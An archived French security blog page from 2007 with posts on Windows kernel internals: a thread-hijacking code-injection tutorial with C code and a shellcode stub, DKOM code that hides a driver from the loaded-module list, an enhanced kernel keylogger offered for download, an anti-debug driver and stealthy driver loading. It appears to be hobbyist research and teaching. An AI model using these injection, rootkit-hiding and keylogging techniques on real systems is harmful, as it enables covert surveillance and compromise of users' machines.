Archive for janvier, 2007

Anti Debugging « I Know Kung-Fu »

Un soir, idlant sur irc, je vois naître une discussion à propos des crackmes proposés par le site http://newbiecontest.n0ne.org . Ce qui semble le plus difficile aux concurrents est de bypass les divers packers avec leurs tricks anti-debug à la mord moi le nœud. Ils se bypassent pour la plupart sans trop de prob, le problème c’est qu’ensuite la résolution du crackme en lui-même est souvent simple (ou pas ….).

Moi avec mon spirit de kernel kodeur nioub drogué aux chocapics, me suis souvenu d’un trick de shaolin monk concernant la détection d’un process débuggé, voyez plutôt:

« One can notice that although some applications like to set Peb->BeingDebugged to FALSE to trick anti-debugging programs, there is no way to set DebugPort to NULL, since the Kernel itself would not let you debug (and you also don’t have access to kernel structures). »
http://www.openrce.org/articles/full_view/24
Magnifique article d’Alex Ionescu sur les API de debuggage, n’est-il pas ? :}

Le DebugPort est un membre de la structure EPROCESS, structure noyau existant pour chaque process et contenant mass infos sur le chtit process. Le trip est le suivant, si un process est débuggé alors son DebugPort est différent de 0, qu’importe si on l’attache après l’avoir lancé ou qu’on le lance avec un debugger.

Tout est dit là ffs :]. On se code un driver qui va parcourir les EPROCESS linkés entre-elles, on check les DebugPort de chacune, si celui-ci est différent de 0, PAF on kill le process. Au moins le debugger souffre pas ;)

Le driver crée un kernel thread qui va scanné indéfiniment jusqu’a l’unload du driver. J’ai mit la fréquence de scan à 2 sec pour éviter de faire trop ralentir votre système. Autre remarque, les structures noyau n’étant pas les mêmes d’une Version de Win à l’autre, ce code ne marche que pour les xp, sp2 sur, sp1 à voir :]

Après si quelqu’un veut intégrer cela à un de ses crackmes, qu’il m’en parle on pourra faire un truc plus propre. Au moins là pas besoin de packer ni d’obfuscations, on peut se concentrer uniquement sur un beau code et les gens devront gentiment le reverse en dead-listing imho :}

Le code, le binaire, le loader de driver, tout est dans le pack :]

http://ivanlef0u.fr/repo/AntiDebug.rar

Enjoy

1 comment janvier 28th, 2007

LINKS

Hello, bon j’ai pas beaucoup de temps pour moi en ce moment alors je vous propose quelques liens :

Une série de lien cotenant des vidéos sur l’architecture et le principe de fonctionnement de l’OS windows par Dave Probert, au début on se fait un peu chier mais après on apprend des choses intéressantes :

http://channel9.msdn.com/ShowPost.aspx?PostID=53470

http://channel9.msdn.com/ShowPost.aspx?PostID=53472

http://channel9.msdn.com/ShowPost.aspx?PostID=54611

http://channel9.msdn.com/ShowPost.aspx?PostID=54612

Aussi une série d’articles posté sur securityfocus, introduisant divers techniques utilisées par les rootkits windows, ca manque de code certes, mais au vu des avancées dans ce domaine je pense que dans le futur la detection des rk sera un vrai challenge… et que le plus simple pour avoir un ordi clean est d’en changé :]

http://www.securityfocus.com/infocus/1850

http://www.securityfocus.com/infocus/1851

http://www.securityfocus.com/infocus/1854

2 comments janvier 24th, 2007

Small Executable

Si vous codé sous Win, vous vous êtes certainement demander pouquoi un simple « Hello World » pouvait générer un binaire de 40 ko, vous voudriez surment  savoir comment virer tout ce bordel, alors aller voir là :

http://www.catch22.net/tuts/minexe.asp 

4 comments janvier 21st, 2007

KLOG

Parfois il m’arrive de vouloir codé un jouet à partir d’un autre, loin de moi l’idée de recopier du code, mais plutot d’améliorer le concept. Mon histoire a commencé en découvrant Klog, un kernel keylogger codé par Clandestiny. Je part dans l’optique d’améliorer le programme, de faire un code plus propre, en pensant que même avec mes connaissances faible de programmation KernelLand je serais capable de faire mieux…


Ainsi la théorie voudrait que le programme fonctionne de cette manière :
1) On attache un filter device au dessus du device KeyboardClass0 qui est le device primaire du driver I8042prt qui gère le clavier et la souris.

2) On filtre les réquetes (IRP) en s’intéressant uniquement à celle qui correspondent aux touches, les autres ont les refilent au device primaire .

3) Jusqu’a là tout va bien, il ne reste plus qu’a récupérer les scancodes de les encoder en ASCII et hop d’écrire tout ca dans un joli fichier. Mais la BOOM BIG BADABOOM BIG !!, la routine chargé de cette tâche tourne à un IRQL valant DISPATCH_LEVEL (3) et l’API native ZwWriteFile ne peut tourner qu’au niveau PASSIVE_LEVEL (0), le programme plante, BSOD in my face OUINN!

L’idée de Clandestiny pour contourner ce problème a été de créer un thread kernel tournant en IRQL PASSIVE_LEVEL qui attend gentiment les touches à enregistrer. C’est à ce moment là que je me dis « mouais, ca suxx ffs, on peut virer ca et trouver un autre trick ». Je commence donc ma recherche, lisant le DDK dans tout les sens, des ebooks sur la programmation avec le windows driver model, cherchant des codes sur le net avec google code search, 3 jours passent ainsi, la traverser du desert, sentiment de frustation du kodeur qui ne trouve pas de solution ….

RIEN ! au final je doit bien l’avouer, ce programme est ultime, Clandestiny a tout simplement implémenté la meilleure solution, je ne peux que m’incliner..

Cependant j’en ai profité pour faire fonctionner le keylog avec les claviers fr et j’ai ajouté le petit code pour hider un driver dans la PsLoadedModuleList, juste pour pouvoir dire que j’ai fait qqch :(

Voici donc la version originale du code :
http://ivanlef0u.fr/repo/Klog%201.0.zip

et la mienne avec le support fr et le hiding de driver :
http://ivanlef0u.fr/repo/Klog-fr-enhanced.rar

Voilà j’espère que ca vous plaira.

Merci à b0nd pour avoir briser mon rêve ;)

2 comments janvier 20th, 2007

Uninformed new release

Hey, uninformated.org nous sort une nouvelle version release, au programme :

Subverting PatchGuard Version 2 : l’art de contourner PatchGuard l’application kernel de Vista ayant pour role de protoger le noyau des erreurs et attaques.

Locreate: An Anagram for Relocate : utilisation des relocations pour former un « packer » d’executable.

Exploiting 802.11 Wireless Driver Vulnerabilities on Windows : de la creation du fuzzer pour le protocol 802.11 a l’exploitation d’une vuln kernel.

Add comment janvier 15th, 2007

Thread Hijacking

Un article que j’ai trouvé au fond d’un de mes tiroirs qui devrait en intéresser pas mal, sur la manière de detourner l’exécution d’un thread dans un autre processus, enjoy

La furtivité, le maître mot pour un rootkit, celui ci doit réussir l’exploit de se cacher dans un OS tout en exécutant ses fonctions. Pour cela il détourne les fonctions des autres processus et fait croire à l’utilisateur que tout est normal. Dans un environnement Windows cela passe par de l’injection de code qui donne au rootkit toute sa puissance. Cependant il existe une méthode d’injection peu connue celle qui consiste à directement injecter dans un Thread.

Il faut savoir que sous Windows un processus n’exécute rien, il n’est la que pour représenter un espace mémoire organisé dans lequel le code est exécuter par un Thread principal, ainsi un processus a au moins un Thread primaire qui peut engendrer de nouveau Threads qui occuperont ce même espace et exécuterons leur propre code. Pour que cette opération de « multithreadind » soit possible alors que le processeur ne peut que réaliser une instruction en même temps (je caricature un peu, tant pis pour les puristes), chaque Thread à son propre CONTEXT c’est à dire que pour chaque Thread qui n’est pas en train d’être exécuter le processeur a sauvegardé dans cette structure CONTEXT tout les états des registres processeurs. Ainsi pour « switcher » de Threads en Threads il recharge à chaque fois le CONTEXT exécutant ensuite quelques instructions puis sauvegarde le CONTEXT et peut alors passer au suivant.

Par chance Windows nous fournis des APIs permettant de manipuler les Threads :]. L’injection en théorie est assez simple il suffit d’arrêter un Thread, de changer son CONTEXT pour qu’il aille exécuter notre code et puis de le relancer… en théorie.

——–[Time to code

Voici en pratique ce que va faire notre programme :
1- Prendre en argument le nom du processus a injecter et obtenir le PID de celui ci.
2- Regarder les Threads lancer par le processus et choisir le Thread primaire.
3- Stopper le Thread et récupérer la structure CONTEXT.
4- Injecter notre code dans la mémoire du processus et changer l’EIP de la structure CONTEXT vers le début de notre code.
5- Relancer le Thread.
6- Admirer le résultat :}.

1)

Pour récupérer le PID de notre processus on va utiliser la fonction CreateToolhelp32Snapshot() de prototype :

HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);

Avec pour valeur a dwFlags TH32CS_SNAPPROCESS et th32ProcessId 0. Cette fonction réalise une « photo » des processus lancés on obtient une liste de structures PROCESSENTRY32 :

typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
TCHAR szExeFile[MAX_PATH];
} PROCESSENTRY32,
*PPROCESSENTRY32;

Il nous suffit de parcourir ces structures avec Process32Next() de cette manière :

int ProcessNameToPid(char *ProcessName)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE)
{
printf("Error with CreateToolhelp32Snapshot: 0x%xn",GetLastError());
}

pe32.dwSize=sizeof(PROCESSENTRY32);

if(!Process32First(hProcessSnap, &pe32 ))
{
printf("Error with Process32First: %dn",GetLastError());
CloseHandle(hProcessSnap);
return 0;
}

while(Process32Next(hProcessSnap,&pe32)!=0)
{
if(_stricmp(pe32.szExeFile,ProcessName)==0)
{
CloseHandle(hProcessSnap);
return pe32.th32ProcessID;
}
}

CloseHandle(hProcessSnap);
return 0;
}

2)
De la même façon pour retrouver le Thread du processus visé on utilise CreateToolhelp32Snapshot() avec dwFlags a TH32CS_SNAPTHREAD on obtient encore une série de structures THREADENTRY32 qui contient de infos sur TOUS les Threads existant:

typedef struct tagTHREADENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadID;
DWORD th32OwnerProcessID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
} THREADENTRY32,
*PTHREADENTRY32;

Et on récupère le TID du Thread primaire :

while(Th32.th32OwnerProcessID!=PID && Thread32Next(hThreadSnap,&Th32)){}
TID=Th32.th32ThreadID;

3)
Maintenant qu’on a le TID il va falloir ouvrir un Handle sur le Thread le stopper et récupérer la structure CONTEXT. Pour le Handle on va utiliser la fonction OpenThread(). On spécifie les différents droit que nous avoir sur lui c’est à dire qu’on puisse obtenir son CONTEXT, le redéfinir, l’arrêter et le relancer:

hThread=OpenThread(THREAD_GET_CONTEXT|THREAD_SUSPEND_RESUME|THREAD_SET_CONTEXT, FALSE, TID);

Puis on l’arrête avec SuspendThread() et on récupère le CONTEXT avec GetThreadContext()
Attention ne pas oubliez de définir les registres que l’on veut obtenir dans la structure CONTEXT, pCtx étant après l’appel un pointeur sur la structure CONTEXT du Thread:

Ctx.ContextFlags=CONTEXT_FULL;
GetThreadContext(hThread,Ctx);

4)

Il nous faut à présent injecter notre code dans la mémoire du processus, pour cela on obtient un Handle sur le processus avec OpenProcess(), on demande à VirtualAllocEx() de nous allouer un espace mémoire exécutable et on copie notre code avec WriteProcessMemory().
On change l’EIP de la structure CONTEXT pour qu’au lancement il soit sur notre code.

On a donc notre EIP qui est prêt a lancer notre code mais il ne faut oublier que nous devons après restaurer le CONTEXT original du Thread, la façon la plus simple que j’ai trouvé pour faire cela est que mon code injecté sauvegarde sur la pile tous les registres et l’EIP. Pour les registres généraux un PUSHAD suffit pour l’EFLAGS un PUSHFD mais pour l’EIP comment faire ? J’ai donc réalisé un shellcode qui push une valeur quelconque en premier et juste avant de copier ce shellcode en mémoire je change cette valeur en l’EIP du Thread stoppé, puis a la fin du shellcode un simple RET relance la machine. Voici un petit schéma :

PUSH 0FFFFFFFFh
PUSHAD
PUSHFD
[..]
notre shellcode ici.
[..]
POPFD
POPAD
RET

En fait on modifie le 0FFFFFFFFh avec un memcpy((PBYTE)code+1,&(Ctx.Eip),4);

5)
Enfin on change le CONTEXT de notre Thread avec SetThreadContext() puis on le relance avec ResumeThread().

6) On regarde le résultat :]

J’espère que ca vous avez aimé, voici le pack avec les binaires et sources (même celle du shellcode)

http://ivanlef0u.fr/repo/ThreadHijack.rar

2 comments janvier 14th, 2007

Playing With Windows Handles

Hello, voici encore un tool sortit de mon esprit torturé. Il permet d’énumerer les handles ouverts pas un process, pratique par exemple pour connaîtres les fichiers ouvert par un process.


Le programme utilise principalement l’API native de Win, il fonctionne de la manière suivante :

- On récupère le nombre total de handles ouvert (NtQuerySystemInformation), puis on alloue la mémoire sur HandleCount*sizeof(SYSTEM_HANDLE_INFORMATION), SYSTEM_HANDLE_INFORMATION est une structure qui contient :

typedef struct _SYSTEM_HANDLE_INFORMATION { // Information Class 16
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;  // 0x01 = PROTECT_FROM_CLOSE, 0x02 = INHERIT
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;

On peut ainsi trouver les handles ouvert par notre process en conaissant son PID.

- On duplique le handle (NtDuplicateHandle) pour que notre process puisse récupérer des informations desssus, la fonction NtQueryObject :

extern "C" NTSTATUS __stdcall NtQueryObject(
IN HANDLE ObjectHandle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

est utilisée avec les ObjectInformationClass ObjectTypeInformation et ObjectNameInformation, avec le premier on trouve (je pense que vous l’avez deviné) le type de l’objet qui peut être :

(phrack 59-0x10 by crazylord)
* Adapter       * File             * Semaphore
* Callback      * IoCompletion     * SymbolicLink
* Controler     * Job              * Thread
* Desktop       * Key              * Timer
* Device        * Mutant           * Token
* Directory     * Port             * Type
* Driver        * Process          * WaitablePort
* Event         * Profile          * WindowStation
* EventPair     * Section          * WmiGuid

Puis on récup le nom de l’object et on affiche tout ca.

Bon jusqu’ici c’est simple, le problème c’est que je suis tomber sur un bug lorsqu’on esssaye d’obtenir le nom sur un NamedPipe ouvert en mode synchrone (gnifulol?) la fonction NtQueryObject devient blocante oO. J’ai donc implémenté un thread qui effectue cette opération pour ce type (de type File en fait), au moins il peut bloqué puisqu’on le kill si il fait le malin ;).

D’après ce que j’ai vu sur d’autres programme qui font la même, soit ceux ci utilisent directement un driver pour récup des infos sur les objets, soit ils sont codé par des autruches, sisi aller voir la et dites moi ce que vous pensez du code http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c2827.

Le but de ce tool est surtout de montrer la puissance de l’API native qui permet de faire plein plein de choses qu’on ne peut faire avec les API documentées par le SDK.
Allay un petit exemple :

C:\\ProgHack\\c\\Handles>handle explorer.exe
Process Handle Enumeration By IvanlefOu
Be MAD!
Process : explorer.exe
Total Handles : 5368

KeyedEvent : \\KernelObjects\\CritSecOutOfMemoryEvent
Directory : \\KnownDlls
File : \\Documents and Settings\\Moi
Section :
Directory : \\Windows
[...]

Le binaire et le code dispo dans le pack !
http://ivanlef0u.fr/repo/Handle.rar

Pour aller plus loin sachez que chaque process à sa propre table de handles, celle ci se trouve pointé dans la structure _EPROCESS (on est ds le noyau la pour ceux qui se touchent le pipi au fond) :

lkd> dt nt!_EPROCESS
[...]
+0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE
[...]

ObjectTable pointe sur une structure _HANDLE_TABLE

lkd> dt nt!_HANDLE_TABLE
+0x000 TableCode        : Uint4B
+0x004 QuotaProcess     : Ptr32 _EPROCESS
+0x008 UniqueProcessId  : Ptr32 Void
+0x00c HandleTableLock  : [4] _EX_PUSH_LOCK
+0x01c HandleTableList  : _LIST_ENTRY
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo        : Ptr32 _HANDLE_TRACE_DEBUG_INFO
+0x02c ExtraInfoPages   : Int4B
+0x030 FirstFree        : Uint4B
+0x034 LastFree         : Uint4B
+0x038 NextHandleNeedingPool : Uint4B
+0x03c HandleCount      : Int4B
+0x040 Flags            : Uint4B
+0x040 StrictFIFO       : Pos 0, 1 Bit

HandleTableList est une double liste chainée sur les _HANDLE_TABLE des autres processus, on peut la parcouri en utilisant la commande suivante sous le kernel debugger :

!list -x "dt nt!_HANDLE_TABLE @$extret-1C" 0x(addresse de départ)

Chez moi ca donne :

lkd> !list -x "dt nt!_HANDLE_TABLE @$extret-1C" 0xe1a4f384
+0x000 TableCode        : 0xe1103001
+0x004 QuotaProcess     : 0x8173a750 _EPROCESS
+0x008 UniqueProcessId  : 0x000000b4
+0x00c HandleTableLock  : [4] _EX_PUSH_LOCK
+0x01c HandleTableList  : _LIST_ENTRY [ 0xe1ab18b4 - 0xe17eb4fc ]
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo        : (null)
+0x02c ExtraInfoPages   : 0
+0x030 FirstFree        : 0x19c
+0x034 LastFree         : 0x774
+0x038 NextHandleNeedingPool : 0x1000
+0x03c HandleCount      : 469
+0x040 Flags            : 0
+0x040 StrictFIFO       : 0y0

+0x000 TableCode        : 0xe1165001
+0x004 QuotaProcess     : 0x815db758 _EPROCESS
+0x008 UniqueProcessId  : 0x0000069c
+0x00c HandleTableLock  : [4] _EX_PUSH_LOCK
+0x01c HandleTableList  : _LIST_ENTRY [ 0xe151a88c - 0xe1a4f384 ]
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo        : (null)
+0x02c ExtraInfoPages   : 0
+0x030 FirstFree        : 0x874
+0x034 LastFree         : 0
+0x038 NextHandleNeedingPool : 0x1000
+0x03c HandleCount      : 553
+0x040 Flags            : 0
+0x040 StrictFIFO       : 0y0

+0x000 TableCode        : 0xe1182000
+0x004 QuotaProcess     : 0x813f29c0 _EPROCESS
+0x008 UniqueProcessId  : 0x000005a0
+0x00c HandleTableLock  : [4] _EX_PUSH_LOCK
+0x01c HandleTableList  : _LIST_ENTRY [ 0xe1f806bc - 0xe1ab18b4 ]
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo        : (null)
+0x02c ExtraInfoPages   : 0
+0x030 FirstFree        : 0x190
+0x034 LastFree         : 0
+0x038 NextHandleNeedingPool : 0x800
+0x03c HandleCount      : 129
+0x040 Flags            : 0
+0x040 StrictFIFO       : 0y0

Merci à fuzen_op de rootkit.com
http://www.rootkit.com/newsread.php?newsid=307

Alors ou qu’ils sont nos handles ! He bien ils sont dans un tableaux pointé par TableCode qui contient des structures _HANDLE_TABLE_ENTRY !

lkd> dt nt!_HANDLE_TABLE_ENTRY
+0x000 Object           : Ptr32 Void
+0x000 ObAttributes     : Uint4B
+0x000 InfoTable        : Ptr32 _HANDLE_TABLE_ENTRY_INFO
+0x000 Value            : Uint4B
+0x004 GrantedAccess    : Uint4B
+0x004 GrantedAccessIndex : Uint2B
+0x006 CreatorBackTraceIndex : Uint2B
+0x004 NextFreeTableEntry : Int4B

Qui plus précisement ressemble à:

/* From the free version of ntifs.h */
typedef struct _HANDLE_TABLE_ENTRY {
union {
PVOID Object;
ULONG ObAttributes;
PHANDLE_TABLE_ENTRY_INFO InfoTable;
ULONG Value;
};
union {
ULONG GrantedAccess;
struct {
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
LONG NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;

La struture ne contient pas directement l’addr de l’objet en fait comme on peut le voir :

Pour plus d’infos allez voir le chapitre Object Manager de Windows Internals. Pour récup le pointeur sur l’object header il faut donc use le chtit code suivant

#include 

int main(int argc, char * argv[])
{
ULONG handle=0;

handle=strtoul(argv[1], NULL, 0);

handle|=0x80000000; handle&=0xfffffff8;

printf("Object header is at : 0x%x\n", handle);

return 0;
}

Le pointeur sur object hearder pointe sur une structure (_OBJECT_HEADER)

lkd> dt nt!_OBJECT_HEADER
+0x000 PointerCount     : Int4B
+0x004 HandleCount      : Int4B
+0x004 NextToFree       : Ptr32 Void
+0x008 Type             : Ptr32 _OBJECT_TYPE
+0x00c NameInfoOffset   : UChar
+0x00d HandleInfoOffset : UChar
+0x00e QuotaInfoOffset  : UChar
+0x00f Flags            : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body             : _QUAD

Ce qui nous intéresse est la structure _OBJECT_TYPE :

lkd> dt nt!_OBJECT_TYPE
+0x000 Mutex            : _ERESOURCE
+0x038 TypeList         : _LIST_ENTRY
+0x040 Name             : _UNICODE_STRING
+0x048 DefaultObject    : Ptr32 Void
+0x04c Index            : Uint4B
+0x050 TotalNumberOfObjects : Uint4B
+0x054 TotalNumberOfHandles : Uint4B
+0x058 HighWaterNumberOfObjects : Uint4B
+0x05c HighWaterNumberOfHandles : Uint4B
+0x060 TypeInfo         : _OBJECT_TYPE_INITIALIZER
+0x0ac Key              : Uint4B
+0x0b0 ObjectLocks      : [4] _ERESOURCE

On a le type de l’objet ainsi que son nom.
Donc si on voudrais virer l’acces à un handle il faudrait scanner cette table pour trouver lequel puis suprimer l’entrée.
Après je ne sais pas comment va réagir le système mais l’idée est la.
Je testerais cela prochainement je pense.

Ivanlef0u

15 comments janvier 11th, 2007

LKM Hiding (Loaded Kernel Module)

Yop, aujourd’hui je vais tripper en vous montrant comment jouer dans le KernelLand, ce magnifique monde plein de dangers dans lequel la moindre erreur vous envoie un BSOD in da face. Si vous n’avez pas fuit envoyant le titre je préfère vous rassurez en vous disant que c’est une peu comme le UserLand mais en pas pareil :]

Un exe en UserLand pour pouvoir use les fonctions des dll les load en mémoire bien au chaud a coté de lui, pour lenoyau c’est pareil il va avoir les drivers (win32k.sys) ou dll (hal.dll) en mémoire avec lui.

Lorsqu’on charge un driver le system tient à jour une liste des modules chargés en mémoire. On peut la recupérer en utilisant l’API native NtQuerSystemInformation avec le SystemInformationClass mit à SystemModuleInformation, on recupère un tableau
de structures SYSTEM_MODULE_INFORMATION qui ressemble à :

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

Un petit exemple d’exécution du programme :

C:\\ProgHackc>SystemModuleInformation
Error with NtLoadDriver : 0xc0000004 : 24
ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe
Base : 0x804d7000
Size : 2181376 bytes
Index : 0
LoadCount : 1
ImageName :\\\\WINDOWS\\system32\\hal.dll
Base : 0x806ec000
Size : 81280 bytes
Index : 1
LoadCount : 1
[...]

On peut voir le nom du module, l’ImageBase, sa taille, l’index dans le tableau et le nombre de fois qu’il à été loadé.Mais nous ! On est des méchants et on voudrait que notre driver ne soit pas dans cette liste !

En jouant avec le LKD au lancement on peut voir 2 valeurs :
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055a420 Kernel base je vous laisse demander à votre maman ce que c’est, mais PsLoadedModuleList WTF !

lkd> dd 0x8055a420 L 8
8055a420  81bfc3b0 8191ad90 00000000 00000000
8055a430  00000000 00000000 00000000 00000000

Bon 2 pointeurs alors voir ca :]

81bfc3b0  81bfc348 8055a420 00000000 00000000  H... .U.........
81bfc3c0  00000000 00000000 804d7000 806ac2be  .........pM...j.
81bfc3d0  00214900 003c003c e1000008 00180018  .I!.<.<.........
81bfc3e0  81bfc3fc 0c004000 00000001 00000000  .....@..........
81bfc3f0  00217a75 00000000 00000000 0074006e  uz!.........n.t.
81bfc400  0073006f 0072006b 006c006e 0065002e  o.s.k.r.n.l...e.
81bfc410  00650078 15aa0000 0a20000e 20206d4d  x.e....... .Mm
81bfc420  00000000 00000000 00000000 00000000  ................

Hooo ! ecrit en unicode on voit ntoskrnl.exe, remarquez aussi que les 2 premiers DWORD font partie d'une structure LIST_ENTRY, ce qui veut dire que les infos des modules font partie d'une double liste chainée. La structure est documenté vite fait :

// undocumented structure ...
typedef struct _MODULE_ENTRY {
LIST_ENTRY link;        // Flink, Blink
UCHAR unknown1[16];
ULONG imageBase;
ULONG entryPoint;
ULONG imageSize;
UNICODE_STRING drvPath;
UNICODE_STRING drvName;
//...
} MODULE_ENTRY, *PMODULE_ENTRY;

GOOD tout ca, bon now faudrais quand même penser à récup l'adresse de PsLoadedModuleList, différente pour chaque version de win..
Le trick de tibétain consiste à lire playboy heuuu rootkit.com et plus particulièrement le texte d'Opcodes sur les varsnoyau non exportées par ntoknrl :
http://www.rootkit.com/newsread.php?newsid=101
et reprit par Alex Ionescu :
http://www.rootkit.com/newsread.php?newsid=153
Dans le KPCR (KERNEL PROCESSOR CONTROL REGION) se trouve un champ appelé KdVersionBlock, un pointeur, et comme la si bien remarqué Opcode :

KdVersionBlock points to:
0x0-0xC = Unknown
0x10 = KernelBase
0x18 = PsLoadedModuleList
0x20 = Pointer to Pointer to Debug Data
0x28 = LIST_ENTRY to Debug Data, Forward
0x38 = Debugger Tag.

Après il suffit de récup le KPCR et c'est nickel, et le KPCR comme Tolwin le dit dans le n0name mag
http://ivanlef0u.fr/repo/zines/n0name-mag/papers/kerneladventure.txt

"Par FS tu entreras, la région de contrôle tu trouveras"
La messe est dite place au code :)

NTSTATUS Dkom(PCHAR pModuleToHide)
{
PMODULE_ENTRY pFirstModule, pModule;
ANSI_STRING asModuleToHide;
UNICODE_STRING usModuleToHide;

RtlInitAnsiString(&asModuleToHide, pModuleToHide);

/* TRUE pour
AllocateDestinationString
Specifies if this routine should allocate the buffer space for the destination string.
If it does, the caller must deallocate the buffer by calling RtlFreeUnicodeString.
*/
RtlAnsiStringToUnicodeString(&usModuleToHide, &asModuleToHide, TRUE);

__asm
{
mov eax, dword ptr fs:[0x34]   //+0x034 KdVersionBlock   : Ptr32 Void
mov eax, dword ptr [eax+0x18] //PsLoadedModuleList
mov eax, dword ptr [eax]
mov pFirstModule, eax
}

pModule=pFirstModule;

DbgPrint("Module : 0x%x", pModule);

do
{
DbgPrint("Module : 0x%x", pModule);
DbgPrint("Module Name : %Sn", pModule->drvName.Buffer); // %S Unicode String

if(RtlEqualUnicodeString(&(pModule->drvName), &usModuleToHide, FALSE))
{
DbgPrint("Ok now time to be MAD");

//on modif la double liste chainée
pModule->link.Blink->Flink=pModule->link.Flink;
pModule->link.Flink->Blink=pModule->link.Blink;

}

pModule=(PMODULE_ENTRY)pModule->link.Flink;

}while(pModule!=pFirstModule);

RtlFreeUnicodeString(&usModuleToHide);

return STATUS_SUCCESS;
}

La fonction Dkom récup la string du module que l'on veut viré puis la convertie en unicode. Ensuite on récup la PsLoadedModuleList et on cherche notre MODULE_ENTRY, quand on la on modif les pointeurs des MODULE_ENTRY suivante et précédente, izi :]

Pour être plus tranquil j'ai demandé à mon driver de pouvoir recevoir des datas du userland avec un DeviceIoControl

Un petit exemple :]

C:\\Drivers\\dkom_services>SystemModuleInformation
Error with NtLoadDriver : 0xc0000004 : 24
ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe
Base : 0x804d7000
Size : 2181376 bytes
Index : 0
LoadCount : 1
ImageName :\\\\WINDOWS\\system32\\hal.dll
Base : 0x806ec000
Size : 81280 bytes
Index : 1
LoadCount : 1
[...]

Je load le driver

C:\\Drivers\\dkom_services>NtLoadDriver -load \\\\??C:\\Drivers\\dkom_services\\i386test.sys

Now je demande de faire DISPARAITRE hal.dll, dkom est le nom du device pour communiquer avec le driver.

C:\\Driversd\\kom_services>DeviceIoControl dkom hal.dll
\\\\.\\Globaldkom

C:\\Drivers\\dkom_services>SystemModuleInformation
Error with NtLoadDriver : 0xc0000004 : 24
ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe
Base : 0x804d7000
Size : 2181376 bytes
Index : 0
LoadCount : 1
ImageName :\\\\WINDOWS\\system32\\KDCOM.DLL
Base : 0xf8987000
Size : 8192 bytes
Index : 1
LoadCount : 3

Que rajouter :] ha si ! ne rebooter pas sinon vous aurez un BSOD !
Allay hop le .rar avec tout le bordel, sources et binaires
http://ivanlef0u.fr/repo/DKOM.rar

2 comments janvier 5th, 2007

3 Ways to load a driver

Hello, pour la nouvelle année je vais vous montrer 3 différentes facons de
loader un driver à partir du UserLand. Chacunes à ses avantages, de la moins
discrète à la plus furtive, à vous de choisir celle qui conviendra le mieux à
votre code.

——–[1 The Documented Way
La première facon est de faire comme le SDK le suggère, crée un service avec
l’API CreateService et le champ dwServiceType mit à SERVICE_KERNEL_DRIVER :

hService=CreateService(hSCManager,
"Martin",
"Martin",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
path,
NULL,
NULL,
NULL,
NULL,
NULL);
if(hService==NULL)
{
printf("Error with CreateService: %dn", GetLastError());
Status=0;
goto cleanup;
}

if(StartService(hService, 0, NULL)==0)
{
printf("Error with StartService: %dn", GetLastError());
Status=0;
goto cleanup;
}

Le code est dispo dans Services.cpp.
Ici on demande au Service Manager de crée un service appelé Martin et de le
démarré à la demande, on utilise StartService() pour le lancer. Cette manière
est la plus propre pour loader un driver.

——–[2 The UnDocumented Way

En se documentant on peut voir qu’il existe l’API native NtLoadDriver :

NTSYSAPI
NTSTATUS
NTAPI

NtLoadDriver(
IN PUNICODE_STRING DriverServiceName
);

DriverServiceName :
Registry path in system format.
Path must begin with
"//registry//machine//SYSTEM//CurrentControlSet//Services//..." where "..." is
driver symbolic name.

Key must have at least 2 values:
# "ImagePath" System path to file, in UNICODE format
# "Type" Set to 1.

Il nous suffit de crée une clé dans le registre dans :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
De mettre l’ImagePath et le Type puis d’appeler l’API sur cette clé et hop notre
driver sera chargé.
L’ImagePath doit être le NtPath et non le DosPath, la différence ? Le DosPath
est le Path classique « c:\rofl.sys » alors que le NtPath est de la forme
« \??\C:\rofl.sys »
J’ai linker NtLoadDriver.cpp avec la librairie ntdll.lib qui est fournit dans le
DKK, pour ceux qui ne l’on pas je l’est mise dans le .rar. Le code est dans NtLoadDriver.cpp

——–[3 The Bad Way
La facon la plus simple mais la moins propre pour loader un driver, je l’est lu
dans « Rootkits Subverting the Windows Kernel » il s’agit d’utiliser l’API native
NtSetSystemInformation :

NtSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength
);

